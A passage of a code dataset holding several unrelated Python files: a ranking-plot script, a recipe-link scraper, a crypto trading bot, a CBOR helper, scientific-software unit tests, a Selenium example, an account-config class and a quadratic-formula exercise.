my_util.kendall_w(rankOrder[eval_metric].T)\nprint('Confidence level cal. from W: ' + str(cl))\nprint(stats.chi2.ppf(1-.005, df=rankOrder[eval_metric].shape[0]-1))\n# stats.chi2.cdf(chi, rankOrder[eval_metric].shape[0]-1)\n\n#############################################################################################\n\n# Sort descending order\nsort_idx = np.argsort(-rankOrder_total_exp[eval_metric])\nrankOrder_total_exp[eval_metric] = rankOrder_total_exp[eval_metric][sort_idx]\nrankOrder_sum_exp[eval_metric] = rankOrder_sum_exp[eval_metric][sort_idx,:]\nmethod_names = np.array(method_names)[sort_idx]\n\n# Plot ranking order\nplt.rcParams['font.serif'] = 'Times New Roman'\ncolor = cm.get_cmap('tab20c', len(run_exp_round))\nfig = plt.figure() \nax = plt.subplot(111)\n\nwidth = 0.8\nind = np.arange(len(methods))\nbottom = np.zeros(len(methods))\np = {}\np_legend = []\ntxt_legend = []\nfor run_exp_round_idx, run_exp_round_val in enumerate(run_exp_round):\n    plot_val = rankOrder_sum_exp[eval_metric][:,run_exp_round_idx]\n    p[run_exp_round_idx] = plt.bar(ind, plot_val, width, bottom=bottom, color=color.colors[run_exp_round_idx])\n    bottom = bottom + plot_val\n    p_legend.append(p[run_exp_round_idx][0])\n    txt_legend.append('Exp. ' + str(run_exp_round_val+1))\n\n# plot total\nanno_p = {}\nfor p_idx, p_val in enumerate(p[0]):\n    tmp_plot_score = rankOrder_total_exp[eval_metric][p_idx]\n    if tmp_plot_score.is_integer():\n        tmp_plot_score = tmp_plot_score.astype(int)\n    anno_p[p_idx] = plt.text(p_val.get_x()+p_val.get_width()/2., rankOrder_total_exp[eval_metric][p_idx], '%s'% tmp_plot_score, ha='center', va='bottom')\n\n# Set axis label\nax.set_xticks(ind)\nax.set_xticklabels(method_names, fontsize=12, fontname='Times New Roman')\nax.set_ylabel('Summation of Ranked Order', fontsize=13, fontname='Times New Roman')\n# Set legend\nmy_legend = plt.legend(tuple(p_legend), tuple(txt_legend), prop={'family':'Times New Roman', 'size':12}, ncol=2, loc='upper right', framealpha=0, fancybox=True, shadow=False)\n# Grid\nax.set_axisbelow(True)\nax.grid(b=True, which='major', axis='both', linestyle=':', color='gray', alpha=1)\n# ax.minorticks_on()\n# ax.grid(b=True, which='minor', axis='both', linestyle='-', color='#999999', alpha=0.2)\n# Save\nfig.savefig('rankingOrder.png')\nfig.savefig('rankingOrder.pdf')\n\n#############################################################################################\n\n# Compare selm sum vs mean\n\n# rankOrder[eval_metric][2] # Sum\n# rankOrder[eval_metric][5] # Mean\n\nrule_list = ['Sum', 'Mean']\nsum_idx = np.where([rule_list[0] in s for s in method_names])[0]\nmean_idx = np.where([rule_list[1] in s for s in method_names])[0]\nif sum_idx.size > 0 and mean_idx.size > 0:\n    \n    my_labels = ['Accuracy', 'AUC']\n    \n    plot_score = {}\n    for em in my_labels:\n        max_idx = np.argmax([scores[em.lower()][2], scores[em.lower()][5]], axis=0)\n        count = np.bincount(max_idx)\n        element = np.nonzero(count)[0]\n        plot_score[em.lower()] = np.vstack((element,count[element])).T\n    del em, max_idx, count, element\n    \n    # Plot\n    plt.rcParams['font.serif'] = 'Times New Roman'\n    fig = plt.figure() \n    ax = plt.subplot(111)\n    # patterns = [ \"|\" , \"\\\\\" , \"/\" , \"+\" , \"-\", \".\", \"*\",\"x\", \"o\", \"O\" ]\n    patterns = [\"/\", \"\\\\\"]\n    label_loc = np.arange(len(my_labels))  # the label locations\n    width = 0.4  # the width of the bars\n    \n    rects = {}\n    for rl_idx, rl_val in enumerate(rule_list):\n        tmp_plot_score = []\n        for em in my_labels:\n            tmp_plot_score.append(plot_score[em.lower()][rl_idx,1])\n        # rects[rl_val.lower()] = ax.bar(label_loc - width/2, tmp_plot_score, width, label=rl_val)\n        rects[rl_val.lower()] = ax.bar(label_loc - width/2, tmp_plot_score, width, label='SELM$_{' + rl_val + '}$', color='white', edgecolor='black', hatch=patterns[rl_idx])\n        width = -width\n        \n        # Text over bar\n        for rect in rects[rl_val.lower()]:\n            height = rect.get_height()\n            ax.annotate('{}'.format(height), xy=(rect.get_x() + rect.get_width() / 2, height), xytext=(0, 3), textcoords=\"offset points\", ha='center', va='bottom')\n    \n    # Set limit\n    # ax.set_xlim([-0.5, 100.5])\n    ax.set_ylim([0, 60])\n    # Set axis label\n    ax.set_xticks(label_loc)\n    ax.set_xticklabels(my_labels, fontsize=13, fontname='Times New Roman')\n    ax.set_ylabel('Number of overcomes', fontsize=14, fontname='Times New Roman')\n    # Set legend\n    my_legend = plt.legend(prop={'family':'Times New Roman', 'size':13}, ncol=1, loc='upper right', framealpha=0, fancybox=True, shadow=False)\n    # Grid\n    ax.set_axisbelow(True)\n    ax.grid(b=True, which='major', axis='both', linestyle='-', color='gray', alpha=0.35)\n    ax.minorticks_on()\n    ax.grid(b=True, which='minor', axis='both', linestyle='-', color='#999999', alpha=0.15)\n    # Save\n    fig.savefig('compare_overcome.png')\n    fig.savefig('compare_overcome.pdf')\n\n#############################################################################################\n\nprint()\n","sub_path":"eval_scripts/exp_11/exp_11_cal_kendallW.py","file_name":"exp_11_cal_kendallW.py","file_ext":"py","file_size_in_byte":8964,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"50"}
+{"seq_id":"299580193","text":"from bs4 import BeautifulSoup\r\nimport requests\r\nimport json\r\nwith open(\"lunch.txt\", \"a\") as myfile:\r\n    \r\n    URL=\"https://hebbarskitchen.com/recipes/lunch-course-recipes/\"\r\n    i=1\r\n    while i<=19:\r\n        if(i==1):\r\n            response = requests.get(URL)\r\n            pagetext = BeautifulSoup(response.content, \"html.parser\")\r\n            links = pagetext.find_all(class_=\"td-module-thumb\")\r\n            for link in links:\r\n                ref = link.find(\"a\")\r\n                myfile.write(ref[\"href\"] +\"\\n\")\r\n                print(ref[\"href\"])\r\n            i+=1\r\n        else:\r\n            response = requests.get(URL+\"page/\"+str(i)+\"/\")\r\n            i+=1\r\n            pagetext = BeautifulSoup(response.content, \"html.parser\")\r\n            links = pagetext.find_all(class_=\"td-module-thumb\")\r\n            for link in links:\r\n                ref = link.find(\"a\")\r\n                myfile.write(ref[\"href\"] +\"\\n\")\r\n                print(ref[\"href\"])\r\n            i+=1\r\n\r\n       \r\n","sub_path":"recipe/lunch.py","file_name":"lunch.py","file_ext":"py","file_size_in_byte":986,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"50"}
+{"seq_id":"309575057","text":"#!/bin/bash/python3\n# // By Eddie Z. V8 + Cooldown Update And Cancel Pending Orders & Dynamic Take Profit.\n# // Built to use with Trality 1 Minute Interval.\n# // Created to backtest the original Standalone Script. (Private Only)\n# // Cooldown's are set to 1 in order to backtest. to run live with cooldowns, limits most be changed from 1 to 120 for two minute symbol cooldown.\n\nimport time\n\nSYMBOLS = [\"VETUSDT\", \"BNBUSDT\",  \"DOTUSDT\", \"NEOUSDT\"]\nSYMBOLS2 = [\"DASHUSDT\",\"LTCUSDT\"]\n\nSIGNAL_BUY = 1\nSIGNAL_SELL = 2\nSIGNAL_IGNORE = 3\ncross = 0\n\ncooler = {'LTCUSDT' : 0, 'ADAUSDT' : 0 , 'DASHUSDT' : 0, 'LINKUSDT' : 0, 'FIOUSDT' : 0, 'VETUSDT' : 0 , 'BNBUSDT' : 0, 'ETHUSDT' : 0, 'DOTUSDT' : 0, 'NEOUSDT' : 0}\n\nbuyer = {'LTCUSDT' : 0, 'ADAUSDT' : 0 , 'DASHUSDT' : 0, 'LINKUSDT' : 0, 'FIOUSDT' : 0, 'VETUSDT' : 0 , 'BNBUSDT' : 0, 'ETHUSDT' : 0, 'DOTUSDT' : 0, 'NEOUSDT' : 0}\n\ntp_newposition =  {'LTCUSDT' : False, 'ADAUSDT' : False, 'DASHUSDT' : False, 'LINKUSDT' : False, 'FIOUSDT' : False, 'VETUSDT' : False , 'BNBUSDT' : False, 'ETHUSDT' : False, 'DOTUSDT' : False, 'NEOUSDT' : False}\ntp_position =  {'LTCUSDT' : 0, 'ADAUSDT' : 0 , 'DASHUSDT' : 0, 'LINKUSDT' : 0, 'FIOUSDT' : 0, 'VETUSDT' : 0 , 'BNBUSDT' : 0, 'ETHUSDT' : 0, 'DOTUSDT' : 0, 'NEOUSDT' : 0}\n\ndef initialize(state):\n   state.signals = {}\n   state.signal_parameters = [22, 30, 100, 14, 9]\n\n\n\ndef compute_signal(data, short_n, medium_n, long_n, rsi_n, adx_n):\n    rsibuy = False\n    adxbuy = False\n    cross = 0\n    orderID = 0\n    rsi = data.rsi(14).as_np()[0,:]\n    adx = data.adx(adx_n).as_np()[0,:]\n\n    if  rsi[-1] < rsi[0] < 38:\n        rsibuy = True\n\n    if adx[-2] < adx[-1] < 25:\n        adxbuy = True\n\n    has_position = has_open_position(data.symbol, include_dust=False)\n    portvalue = float(query_portfolio_value())\n    portfolio = query_portfolio()\n    liquidity = portfolio.excess_liquidity_quoted\n    position = query_open_position_by_symbol(data.symbol,include_dust=False)\n    worst = portfolio.worst_trade_return * 100\n    best = portfolio.best_trade_return * 100\n    now = time.time()\n\n############################################################## DEBUG ##################################################################\n\n    if position is not None:\n        print(f\"● {position.symbol} : Entry Price: {position.entry_price} - Price Now : {data.close_last} - Portofolio : {portvalue} - ADX : {adx[0]} - RSI : {rsi[0]}\")\n\n        \n########################################################### BUY RULES ##################################################################\n\n    # // Check Liquidity For Buy Rules\n    if liquidity > portvalue * 0.98 and position is None:\n        # // Buy Rule\n        if cooler[data.symbol] != 0 and now - cooler[data.symbol] >= 1 and now - cooler[data.symbol] < 10000 or cooler[data.symbol] == 0:\n            if buyer[data.symbol] != 0 and now - buyer[data.symbol] >= 1 or buyer[data.symbol] == 0: #// Checking if cooldown time passed.\n                if not has_position and rsibuy and (42 > adx[0] > 25 or adxbuy):\n                    buy_value = float(portvalue) * 0.98 / data.close_last\n                    order_market_target(symbol=data.symbol,target_percent=0.98)      \n                    order_stop_loss(symbol=data.symbol, amount=buy_value, stop_percent=0.025,subtract_fees=False)\n                    print(f\"● Buy Rule 1 for {data.symbol} , Value: {buy_value} at Current market price: {data.close_last}\")\n                    print(f\"● Wallet Value: {portvalue}\")\n                    print(f\"● Buy Values - ADX: {adx[0]} // RSI: {rsi[0]} // // TIME DIFF : {now - cooler[data.symbol]}\")\n                    buytime = time.time()\n                    buyer[data.symbol] = buytime\n\n        else:\n    # // Buy Cooldown\n            pass\n\n\n######################################################### SELL RULES ###################################################################\n\n    if position is not None:\n        diff = 100 - ((float(position.entry_price) / float(data.close_last)) * 100)\n        if diff >= 0.01 or diff <= -0.01:\n\n            if rsi[0] > 75 and adxbuy == False and diff > 0.55:\n                close_position(data.symbol)\n                print(f\"!!!!!!! SELL SIGNAL {data.symbol}  Price: {data.close_last} - Diff: {diff} !!!!!!!!!\")\n\n            if not tp_newposition[data.symbol]:\n                if data.close_last >= float(position.entry_price) + (float(position.entry_price) * 0.009):\n                    print(f\"Position Initiated for {data.symbol} Price: {data.close_last} - Diff: {diff}\")\n                    tp_newposition[data.symbol] = True\n                    tp_position[data.symbol] = data.close_last\n                    \n                    \n            # // DYNAMIC TP - Stage 2 Every 0.06% And Dynamic STOP LOSS Section.\n            elif tp_newposition[data.symbol]:\n                if data.close_last >= float(tp_position[data.symbol]) + (float(position.entry_price) * 0.006):\n                    print(f\"Position Upgrade for {data.symbol} Price: {data.close_last} - Diff: {diff}\")\n                    tp_position[data.symbol] = data.close_last\n\n             # // DYNAMIC SL - Stop Loss for Position Change -0.03%\n                elif data.close_last <= float(tp_position[data.symbol]) - (float(position.entry_price) * 0.003):\n                    print(f\"!!!!!!! STOP LOSS AFTER POSITION CHANGE Initiated for {data.symbol}  Price: {data.close_last} - Diff: {diff} !!!!!!!!!\")\n                    close_position(data.symbol)\n                    tp_newposition[data.symbol] = False\n                    tp_position[data.symbol] = 0\n                    selltime = time.time()\n                    cooler[data.symbol] = selltime\n\n\n\n\n\n################################################ Cancel Pending Orders Over 300 Seconds #######################################\n\n        try:\n            if position is None:\n                for order1 in query_open_orders():\n                    if data.symbol in order1.symbol:\n                        cancel_order(order1.id)\n                        print(f\"{order1.id} Canceled for {data.symbol}\")\n        except RuntimeError:\n           print(f\"Failed to Cancel {order1.id} for {data.symbol}\")\n\n############################################# SAVE EMA SIGNAL IN STATE ######################################################\n\ndef resolve_ema_signal(state, data):\n    if data is None:\n        return\n    state.signals[data.symbol] = compute_signal(data, *state.signal_parameters)\n\n################################################# INTERVALS 1TIK ############################################################\n\n@schedule(interval= \"1m\", symbol=SYMBOLS, window_size=150)\ndef handler(state, dataMap):\n    for symbol, data in dataMap.items():\n        resolve_ema_signal(state, data)\n\n@schedule(interval= \"1m\", symbol=SYMBOLS2, window_size=150)\ndef handler2(state, dataMap):\n    for symbol, data in dataMap.items():\n        resolve_ema_signal(state, data)\n\n############################################################################################################################\n","sub_path":"V8trality.py","file_name":"V8trality.py","file_ext":"py","file_size_in_byte":7056,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"50"}
+{"seq_id":"33589036","text":"from typing import Any, Dict, List\n\nfrom cbor2 import dumps, loads\n\nfrom .const import COSE_ALGORITHMS_SYMMETRIC\nfrom .exceptions import DecodeError, EncodeError\n\n\nclass CBORProcessor:\n    def _dumps(self, obj: Any) -> bytes:\n        try:\n            return dumps(obj)\n        except Exception as err:\n            raise EncodeError(\"Failed to encode.\") from err\n\n    def _loads(self, s: bytes) -> Dict[int, Any]:\n        try:\n            return loads(s)\n        except Exception as err:\n            raise DecodeError(\"Failed to decode.\") from err\n\n    def _validate_context(self, context: List[Any]):\n        if len(context) != 4 and len(context) != 5:\n            raise ValueError(\"Invalid context information.\")\n        # AlgorithmID\n        if not isinstance(context[0], int):\n            raise ValueError(\"AlgorithmID should be int.\")\n        if context[0] not in COSE_ALGORITHMS_SYMMETRIC.values():\n            raise ValueError(f\"Unsupported or unknown algorithm: {context[0]}.\")\n        # PartyVInfo\n        if not isinstance(context[1], list) or len(context[1]) != 3:\n            raise ValueError(\"PartyUInfo should be list(size=3).\")\n        # PartyUInfo\n        if not isinstance(context[2], list) or len(context[2]) != 3:\n            raise ValueError(\"PartyVInfo should be list(size=3).\")\n        # SuppPubInfo\n        if not isinstance(context[3], list) or (\n            len(context[3]) != 2 and len(context[3]) != 3\n        ):\n            raise ValueError(\"SuppPubInfo should be list(size=2 or 3).\")\n","sub_path":"cwt/cbor_processor.py","file_name":"cbor_processor.py","file_ext":"py","file_size_in_byte":1512,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"50"}
+{"seq_id":"134186839","text":"\"\"\"\nUnit tests for gain_scale correction\n\"\"\"\n\nfrom jwst.datamodels import RampModel\nfrom jwst.gain_scale.gain_scale import do_correction\nfrom jwst.gain_scale import GainScaleStep\nimport numpy as np\nimport pytest\n\ndef test_correction(make_rampmodel):\n    \"\"\"Make sure correct gain factor is applied\n    \"\"\"\n    datmod = make_rampmodel(2, 50, 50)\n    output = do_correction(datmod, gain_factor=datmod.meta.exposure.gain_factor)\n\n    assert(output.meta.cal_step.gain_scale == 'COMPLETE')\n    assert np.all(output.err == datmod.err * datmod.meta.exposure.gain_factor)\n    assert np.all(output.data == datmod.data * datmod.meta.exposure.gain_factor)\n\n\ndef test_step(make_rampmodel):\n    \"\"\"Make sure correct gain factor is applied at step level\n    \"\"\"\n    datmod = make_rampmodel(2, 50, 50)\n    output = GainScaleStep.call(datmod)\n\n    assert(output.meta.cal_step.gain_scale == 'COMPLETE')\n    assert np.all(output.err == datmod.err * datmod.meta.exposure.gain_factor)\n    assert np.all(output.data == datmod.data * datmod.meta.exposure.gain_factor)\n\n\n@pytest.fixture(scope='function')\ndef make_rampmodel():\n    '''Ramp model for testing'''\n\n    # NRS1 and NRS2 are size  2048x2048 pixels\n    def _dm(ngroups, ysize, xsize):\n        # create the data and groupdq arrays\n        nints = 2\n        csize = (nints, ngroups, ysize, xsize)\n        data = np.random.randint(low=1, high=50, size=csize)\n        err = np.random.randint(low=0.1, high=5.0, size=csize)\n\n        # create a JWST datamodel for NIRSPEC data\n        dm = RampModel(data=data, err=err)\n\n        dm.meta.instrument.name = 'NIRSPEC'\n        dm.meta.date = '2018-01-01'\n        dm.meta.instrument.detector= 'NRS1'\n        dm.meta.observation.date = '2018-01-01'\n\n        dm.meta.exposure.gain_factor = 2\n\n        return dm\n\n    return _dm\n","sub_path":"jwst/gain_scale/tests/test_gain_scale.py","file_name":"test_gain_scale.py","file_ext":"py","file_size_in_byte":1800,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"50"}
+{"seq_id":"132881803","text":"from selenium import webdriver\nfrom selenium.webdriver.common.by import By\n\ndriver = webdriver.Chrome()\ndriver.get(\"http://www.google.com\")\nsearch_form = driver.find_element(By.TAG_NAME, \"form\")\nsearch_box = search_form.find_element(By.NAME, \"q\")\nsearch_box.send_keys(\"Selenium Python\")\nsearch_box.submit()\ndriver.implicitly_wait(30)\ndriver.close()","sub_path":"TestScripts/WebElements_Example/Find_Element_From_Element.py","file_name":"Find_Element_From_Element.py","file_ext":"py","file_size_in_byte":348,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"50"}
+{"seq_id":"444137621","text":"import os\nimport pandas\nfrom datetime import datetime, timedelta\n\nEMAIL_CONFIG_CSV = \"email_config.csv\"\nACCOUNT_CONFIG_CSV = \"account_config.csv\"\nCONFIG_MAX_AGE = timedelta(days=1)\n\n\ndef exists(f: str):\n    if os.path.isfile(f):\n        return True\n    else:\n        return False\n\n\ndef exists_and_uptodate(f: str, td: timedelta):\n    if not exists(f):\n        return False\n    else:\n        filetime = datetime.fromtimestamp(os.path.getmtime(f))\n        if filetime < datetime.now() - td:\n            # TODO echo something here\n            return False  # too old\n    return True\n\n\nclass AccountConfig:\n\n    def __init__(self, account_list, cfg_dir, team):\n        self.account_list = account_list\n        self.account_config_file = cfg_dir + ACCOUNT_CONFIG_CSV\n        self.email_config_file = cfg_dir + EMAIL_CONFIG_CSV\n        self.df_account_config = pandas.DataFrame()\n        self.df_email_config = pandas.DataFrame()\n        self.team = team\n        #\n        self.__init2__()\n\n    def __init2__(self):\n        self.log_changes = True\n        print_team_service_results = True\n        self.df_account_config = self.get_df_account_config()\n        self.df_email_config = self.get_df_email_config()\n        account_config_uptodate = exists_and_uptodate(self.account_config_file, CONFIG_MAX_AGE)\n        email_config__uptodate = exists_and_uptodate(self.email_config_file, CONFIG_MAX_AGE)\n        # insert break here for those that don't have a team service API\n        format_string = \"{lai:<15s} {lan:<45s} \" \\\n                        \"{team_alias:<20s} {team_id:<10s} {team_name:<20s} {team_costentity:<10s} \" \\\n                        \"{receiver:<40s} {team_mail_list}\"\n        if account_config_uptodate and email_config__uptodate:\n            pass\n        else:\n            if print_team_service_results:\n                print(format_string.format(\n                    lai='AccountId',\n                    lan='AccountName',\n                    team_alias='TeamAlias',\n                    team_id='TeamId',\n                    team_name='TeamName',\n                    team_costentity='CostEntity',\n                    receiver='Receiver',\n                    team_mail_list='Alternative Receivers'\n                ))\n            for lai, lan in self.account_list:\n                team_json = ''\n                team_id = 'DEFAULT'\n                team_name = 'DEFAULT'\n                team_costentity = 'DEFAULT'\n                receiver = 'DEFAULT'\n                team_mail_list = []\n                # print(\"LAI\", lai, \"LAN\", lan)\n                team_alias = self.team.get_team_alias(lai)\n                if team_alias:\n                    team_json = self.team.get_team_json(team_alias)\n                if team_json:\n                    # print(team_json)\n                    team_id = self.team.get_team_id(team_json)\n                    team_name = self.team.get_team_name(team_json)\n                    team_mail_list = self.team.get_team_mail_list(team_json)\n                    team_costentity = self.team.get_team_costentity(team_json)\n                if team_mail_list:\n                    receiver = self.team.get_receiver(lan, team_alias, team_mail_list)\n                if print_team_service_results:\n                    print(format_string.format(\n                        lai=lai,\n                        lan=lan,\n                        team_id=team_id,\n                        team_name=team_name,\n                        team_alias=team_alias,\n                        team_costentity=team_costentity,\n                        receiver=receiver,\n                        team_mail_list=team_mail_list\n                    ))\n                self.check_account_config(lai, lan, team_id, team_name, team_costentity)\n                self.check_email_config('Account', lai, lan, receiver)\n                self.check_email_config('Team', team_id, team_name, receiver)\n            # self.df_account_config.sort_values(by='AccountName', inplace=True)\n            self.df_account_config.to_csv(self.account_config_file, index=False)\n            # self.df_email_config.sort_values(by=['EntityType', 'EntityName'], inplace=True)\n            self.df_email_config.to_csv(self.email_config_file, index=False)\n\n    def get_df_account_config(self):\n        if exists(self.account_config_file):\n            df = pandas.read_csv(\n                self.account_config_file, dtype={'AccountId': str, 'CostEntity': str, 'TeamId': str}\n            )\n            # after a felt 100 years, this is the solution to get index number values as strings:\n            # do NOT set index_col, but use dtype on read_csv() and set_index() afterwards\n            # df = df.set_index('AccountId', drop=True)\n            df = df.fillna('')\n        else:\n            df = pandas.DataFrame(columns=[\n                'AccountId', 'AccountName', 'TeamId', 'TeamName', 'CostEntity']\n            )\n            # df.set_index('AccountId', drop=True, inplace=True)\n        return df\n\n    def get_df_email_config(self):\n        if exists(self.email_config_file):\n            df = pandas.read_csv(\n                self.email_config_file, dtype={'EntityId': str}\n            )\n            # df = df.set_index(['EntityType', 'EntityId'], drop=True)\n            df = df.fillna('')\n        else:\n            df = pandas.DataFrame(columns=['EntityType', 'EntityId', 'EntityName', 'Receiver'])\n            # df.set_index(['EntityType', 'EntityId'], drop=True, inplace=True)\n        return df\n\n    def check_account_config(self, lai, lan, team_id, team_name, team_costentity):\n        df = self.df_account_config\n        ix = df[df['AccountId'] == lai].index\n        if len(ix) > 0:\n            self.update_config(df, ix[0], 'AccountId', lai)\n            self.update_config(df, ix[0], 'AccountName', lan)\n            self.update_config(df, ix[0], 'TeamId', team_id)\n            self.update_config(df, ix[0], 'TeamName', team_name)\n            self.update_config(df, ix[0], 'CostEntity', team_costentity)\n        else:\n            self.df_account_config = self.df_account_config.append(pandas.DataFrame(\n                {\n                    'AccountId': lai,\n                    'AccountName': lan,\n                    'TeamId': team_id,\n                    'TeamName': team_name,\n                    'CostEntity': team_costentity\n                },\n                index=[len(self.df_account_config)]\n            ))\n\n    def update_config(self, df, ix, column, new_value):\n        old_value = df.at[ix, column]\n        if self.log_changes:\n            if new_value != old_value:\n                print(\"[{ix}][{col}] has changed. OLD: [{old}] NEW: [{new}]\".format(\n                    ix=ix, col=column, old=old_value, new=new_value\n                ))\n        if new_value != 'DEFAULT':\n            df.loc[ix, column] = new_value\n\n    def check_email_config(self, entity_type, entity_id, entity_name, receiver):\n        df = self.df_email_config\n        ix = df[(df['EntityType'] == entity_type) & (df['EntityId'] == entity_id)].index\n        if len(ix) > 0:\n            self.update_config(df, ix[0], 'EntityName', entity_name)\n            self.update_config(df, ix[0], 'Receiver', receiver)\n        else:\n            self.df_email_config = self.df_email_config.append(pandas.DataFrame(\n                {\n                    'EntityType': entity_type,\n                    'EntityId': entity_id,\n                    'EntityName': entity_name,\n                    'Receiver': receiver\n                },\n                index=[len(self.df_email_config)]\n            ))\n\n    def get_email_config_index(self, entity_name, entity_id_value):\n        df = self.df_email_config\n        ix = df[(df['EntityType'] == entity_name) & (df['EntityId'] == entity_id_value)].index\n        return ix\n\n    def get_email_config_value(self, ix, column):\n        col = self.df_email_config.loc[ix, column].values\n        if len(col) > 0:\n            value = col[0]\n            return value\n        return ''\n\n    def get_receiver(self, entity_name, entity_id_value):\n        # print(\"get_receiver\", entity_type, entity_id)\n        ix = self.get_email_config_index(entity_name, entity_id_value)\n        assert isinstance(ix, pandas.Index)\n        if len(ix) > 0:\n            return self.get_email_config_value(ix, 'Receiver')\n        else:\n            return ''\n\n    def get_entity_name(self, entity_id_type, entity_id_value):\n        df = self.df_account_config\n        entity_name_type = str.replace(entity_id_type, 'Id', 'Name')\n        ix = df[df[entity_id_type] == entity_id_value].index\n        return df.at[ix[0], entity_name_type]\n\n    def get_entity_ids(self, entity_type, entity):\n        df = self.df_account_config.sort_values(entity_type)\n        if entity == 'all':\n            ix = df.index\n        else:\n            ix = df[df[entity_type].str.match('^'+entity+'$')].index\n        entity_id_type = str.replace(entity_type, 'Name', 'Id')\n        entity_ids = df.loc[ix, entity_id_type].drop_duplicates().values\n        return entity_ids\n\n    def get_accounts(self, entity_id_type, entity_id_value):\n        df = self.df_account_config\n        accounts = df[df[entity_id_type] == entity_id_value]['AccountId'].values\n        return accounts\n\n    def get_linked_account_name(self, linked_account_id):\n        linked_account_name = ''\n        df = self.df_account_config\n        values = df[df['AccountId'] == linked_account_id]['AccountName'].values\n        if len(values) > 0:\n            linked_account_name = values[0]\n        return linked_account_name\n","sub_path":"costreport/accountconfig.py","file_name":"accountconfig.py","file_ext":"py","file_size_in_byte":9521,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"50"}
+{"seq_id":"393836841","text":"import numpy as np\nimport pytest\n\nimport probnum.problems.zoo.diffeq as diffeq_zoo\nfrom probnum import randprocs\nfrom tests.test_diffeq.test_odefilter.test_initialization_routines.utils import (\n    _known_initial_derivatives,\n)\n\n\n@pytest.fixture\ndef lotka_volterra_testcase_order():\n    \"\"\"Order of the solver in Lotka-Volterra tests.\n\n    This determines which known initial derivatives are imported.\n    \"\"\"\n    return 5\n\n\n@pytest.fixture\ndef lotka_volterra():\n    y0 = np.array([20.0, 20.0])\n\n    # tmax is ignored anyway\n    return diffeq_zoo.lotkavolterra(t0=0.0, tmax=np.inf, y0=y0)\n\n\n@pytest.fixture\ndef lotka_volterra_inits(lotka_volterra_testcase_order):\n    lv_dim = 2\n    vals = _known_initial_derivatives.LV_INITS[\n        : lv_dim * (lotka_volterra_testcase_order + 1)\n    ]\n    return randprocs.markov.integrator.convert.convert_derivwise_to_coordwise(\n        vals,\n        num_derivatives=lotka_volterra_testcase_order,\n        wiener_process_dimension=lv_dim,\n    )\n","sub_path":"tests/test_diffeq/test_odefilter/test_initialization_routines/conftest.py","file_name":"conftest.py","file_ext":"py","file_size_in_byte":984,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"50"}
+{"seq_id":"454115505","text":"#!/usr/bin/env python\n\n# This work was created by participants in the DataONE project, and is\n# jointly copyrighted by participating institutions in DataONE. For\n# more information on DataONE, see our web site at http://dataone.org.\n#\n#   Copyright 2009-2019 DataONE\n#\n# Licensed under the Apache License, Version 2.0 (the \"License\");\n# you may not use this file except in compliance with the License.\n# You may obtain a copy of the License at\n#\n#   http://www.apache.org/licenses/LICENSE-2.0\n#\n# Unless required by applicable law or agreed to in writing, software\n# distributed under the License is distributed on an \"AS IS\" BASIS,\n# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n# See the License for the specific language governing permissions and\n# limitations under the License.\n\nimport xml.sax\n\nimport pyxb\n\nimport d1_test.d1_test_case\n\n\nclass TestLogRecords(d1_test.d1_test_case.D1TestCase):\n    parameterize_dict = {\n        \"test_1000\": [\n            dict(filename=\"log_gmn_valid.xml\", raises_pyxb_exc=False),\n            dict(filename=\"log_knb_valid.xml\", raises_pyxb_exc=False),\n            dict(filename=\"log_invalid_1.xml\", raises_pyxb_exc=True),\n            dict(filename=\"log_invalid_2.xml\", raises_pyxb_exc=True),\n            dict(filename=\"log_invalid_3.xml\", raises_pyxb_exc=True),\n        ]\n    }\n\n    def test_1000(self, filename, raises_pyxb_exc):\n        \"\"\"Deserialize various Log XML docs.\"\"\"\n        try:\n            self.test_files.load_xml_to_pyxb(filename)\n        except (pyxb.PyXBException, xml.sax.SAXParseException):\n            if not raises_pyxb_exc:\n                raise\n","sub_path":"lib_common/src/d1_common/tests/test_logrecords.py","file_name":"test_logrecords.py","file_ext":"py","file_size_in_byte":1634,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"50"}
+{"seq_id":"525873886","text":"# Questão 1\r\n\r\ndef bhaskara(a,b,c):\r\n    delta = b**(2) - 4 * a * c\r\n    if (delta>=0):\r\n        x1 = (-b + (delta)**(0.5))/(2*a)\r\n        x2 = (-b - (delta)**(0.5))/(2*a)\r\n        print (\"x1 = \", x1)\r\n        print (\"x2 = \", x2)\r\n        return 0\r\n    else:\r\n        xreal = (-b)/(2*a)\r\n        print (\"x1 = \", xreal, \" + \", (-delta)**(0.5)/(2*a), (\"i\"), sep=\"\")\r\n        print (\"x2 = \", xreal, \" - \", (-delta)**(0.5)/(2*a), (\"i\"), sep=\"\")\r\n        return 1\r\n        \r\ndef Q1():\r\n    a = int ( input (\"Entre o coeficiente angular: \"))\r\n    b = int ( input (\"Entre o coeficiente linear: \"))\r\n    c = int ( input (\"Entre a constante: \"))\r\n    \r\n    bhaskara(a,b,c)\r\n\r\nQ1()\r\n","sub_path":"Q1.py","file_name":"Q1.py","file_ext":"py","file_size_in_byte":674,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"50"}
